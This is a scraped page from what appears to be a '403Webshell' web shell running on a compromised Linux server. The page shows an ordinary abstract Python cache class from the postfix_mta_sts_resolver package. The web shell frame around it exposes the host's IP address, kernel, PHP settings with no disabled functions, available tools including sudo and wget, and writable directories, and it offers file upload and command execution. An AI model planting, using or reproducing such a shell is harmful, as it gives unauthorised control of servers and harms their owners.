403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/postfix_mta_sts_resolver/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/postfix_mta_sts_resolver/base_cache.py
import asyncio
import collections

from abc import ABC, abstractmethod


CacheEntry = collections.namedtuple('CacheEntry', ('ts', 'pol_id', 'pol_body'))


class BaseCache(ABC):
    @abstractmethod
    async def setup(self):
        """ Abstract method """

    @abstractmethod
    async def get(self, key):
        """ Abstract method """

    @abstractmethod
    async def set(self, key, value):
        """ Abstract method """

    async def safe_set(self, domain, entry, logger):
        try:
            await self.set(domain, entry)
        except asyncio.CancelledError:  # pragma: no cover pylint: disable=try-except-raise
            raise
        except Exception as exc:  # pragma: no cover
            logger.exception("Cache set failed: %s", str(exc))

    @abstractmethod
    async def scan(self, token, amount_hint):
        """ Abstract method """

    @abstractmethod
    async def get_proactive_fetch_ts(self):
        """ Abstract method """

    @abstractmethod
    async def set_proactive_fetch_ts(self, timestamp):
        """ Abstract method """

    @abstractmethod
    async def teardown(self):
        """ Abstract method """

Youez - 2016 - github.com/yon3zu
LinuXploit